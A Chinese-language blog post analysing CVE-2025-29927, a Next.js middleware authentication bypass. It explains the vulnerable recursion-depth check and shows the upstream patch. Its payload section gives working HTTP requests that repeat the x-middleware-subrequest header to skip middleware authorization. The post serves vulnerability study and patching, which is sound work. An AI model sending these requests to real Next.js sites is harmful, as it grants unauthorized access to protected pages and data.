Next.js中间件权限绕过漏洞分析(CVE-2025-29927)
本文代码版本为next.js-15.2.2
本篇文章首发在先知社区:https://xz.aliyun.com/news/17403
一、漏洞概述
CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。
二、漏洞分析
1. 漏洞背景
Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:
- 身份验证:检查用户会话Cookie,拦截未授权请求。
- 路径重写:动态修改请求路径(如多语言路由
/en/home→/home)。 - 安全头设置:添加CSP、CORS等安全响应头。
中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。
2. 漏洞核心机制
用户发出请求在middleware中会请求身份验证接口,而请求身份验证接口也会经过middleware,所以为了解决请求身份验证接口这种逻辑,Next.js通过x-middleware-subrequest头标识内部递归请求。
每次递归请求都会向该头添加一次middleware,如果递归请求达到五次,就会返回一个带有 'x-middleware-next': '1' 的响应,表示忽略中间件的所有逻辑(包括鉴权检查)。

packages\next\src\server\web\sandbox\sandbox.ts
3. 关键代码
简化代码:
params.name:中间件路径标识(如src/middleware或middleware)。subrequests:x-middleware-subrequest头按:分割后的数组。depth:统计subrequests中与params.name匹配的次数。
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new runtime.context.Response(null, {
headers: {'x-middleware-next': '1',},}),}
}
漏洞成因:
- 路径暴露:中间件的逻辑路径(
middlewareInfo.name)可被攻击者推测。 - 校验宽松:未对外部请求的
x-middleware-subrequest头进行过滤,允许伪造内部请求标识。
4. Payload 构造
确定中间件路径标识
params.name 是中间件模块在 Next.js 构建过程中生成的逻辑路径标识,其值由.next/server/middleware-build-manifest.json文件决定。

构造绕过请求头
middleware.ts在根目录 → middleware
GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
middleware.ts在 src 目录 → src/middleware
GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
三、漏洞复现
环境地址:lem0n817/CVE-2025-29927 (github.com)
middleware


src/middleware


四、漏洞修复
Comparing v15.2.2...v15.2.3 · vercel/next.js (github.com)
这里是对多处进行了修改,挑选最关键的一处进行分析:

通过动态令牌验证(x-middleware-subrequest-id)和加密符号存储(Symbol.for)严格区分内外请求,非法伪造的x-middleware-subrequest头会被自动删除,确保中间件安全逻辑不被绕过。
// If this request didn't origin from this session we filter
// out the "x-middleware-subrequest" header so we don't skip
// middleware incorrectly
if (
header === 'x-middleware-subrequest' &&
headers['x-middleware-subrequest-id'] !==
(globalThis as any)[Symbol.for('@next/middleware-subrequest-id')]
) {
delete headers['x-middleware-subrequest']
}
五、参考
Next.js 和损坏的中间件:授权工件 - zhero_web_security
CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog
本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
先知社区:https://xz.aliyun.com/users/136909
微信公众号:Lemon安全
Next.js中间件权限绕过漏洞分析(CVE-2025-29927)的更多相关文章
- Android电话拨打权限绕过漏洞(CVE-2013-6272)分析
原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现
couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...
- Python 实现 Discuz论坛附件下载权限绕过漏洞
背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...
- linux sudo root 权限绕过漏洞(CVE-2019-14287)
0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大 需要以下几个前提条件 1.知道当前普通用户的密 ...
- CVE-2017-12635(Couchdb垂直权限绕过漏洞)
简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...
- CVE-2020-17523:Apache Shiro身份认证绕过漏洞分析
0x01 Apache Shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 0x02 漏洞简介 2021年2月1日,Apache Shiro官 ...
- broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...
- PJzhang:CVE-2019-14287 sudo权限绕过漏洞复现
猫宁!!! 参考链接:Ms08067实验室公众号 sudo 1.8.28版本之前有漏洞. 更新完kali linux,deepin截图工具失效,只能用自带的,不能划重点. 看一下sudo版本,1.8. ...
- SaltStack 水平权限绕过漏洞(CVE-2020-11651)
影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 poc git clone https://github.com/jasperla/CVE-202 ...
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...
随机推荐
- Appium_iOS_Safari测试脚本(2)
经过多次调试,在Safari上的测试脚本终于可以运行了,不过部分元素还是无法识别,还需要继续调试: #!/usr/bin/env/python # -*-coding:utf-8-*- import ...
- UE4命令行编译工程入门
注:本文同步发布于微信公众号:stringwu的互联网杂谈UE4命令行编译工程入门 0 背景 笔者是个UE4的小白,本文主要记录了一个小白是如何从零UE4的基础,一步步在命令行打出iOS的ipa包的尝 ...
- SpringCloud (五) - 云服务器Centos7.6,安装JDK,Maven,Mysql,Redis
1.购买云服务器 购买地址:https://cloud.tencent.com/act/pro/2022double11_warmup 后面的环境都是基于此环境Centos7.6: 2.安装 Secu ...
- Spring Cloud Alibaba实战,从微服务架构到基本服务配置
https://blog.csdn.net/itcast_cn/article/details/124558887 Spring Cloud Alibaba 实战 1目标理解什么是微服务架构理解什么是 ...
- MPC收藏
收集有关MPC的优秀文章,方便查阅. 同态加密 原理 介绍 程序员的干货!核心理论之同态加密 https://mp.weixin.qq.com/s/1uH0UjnS_Mo8ShXJ-16UXw BGV ...
- 一文搞懂 结构伪类 :nth-child && :nth-of-typ
结构伪类 从使用结构伪类的选择器开始 往上一层父辈开始筛选 从使用结构伪类的选择器开始 往上一层父辈开始筛选 从使用结构伪类的选择器开始 往上一层父辈开始筛选 不是从左往右选择 不是先父辈后筛选子类 ...
- C++学习:CRTP 模式是什么
CRTP(Curiously Recurring Template Pattern,奇异递归模板模式)是 C++ 中的一种设计模式. 基本概念 CRTP 是指一个类(通常是基类)以其派生类作为模板参数 ...
- 3 x 2 + 1 !安 全 能 力 权 威 认 可 !
近日,由XOps大会组委会主办的"2024第三届XOps产业创新发展论坛"在北京召开.大会主论坛公布了2024上半年XOps最新评估结果,天翼云顺利通过ITU DevOps国际标准 ...
- Ansible之二playbook
反星系 连接https://galaxy.ansible.com下载相应的roles 列出所有安装的 galaxy ansible-galaxy list 安装galaxy ansibl ...
- EasyExcel 通过模板填充数据
EasyExcel 通过模板填充数据两种方式:1.直接通过模板填充.2.通过IO流填充. 模板示例 注意:单个字段填充只写字段名即可,数据集填充需要在字段前加 . {title} 姓名 昵称 手机号 ...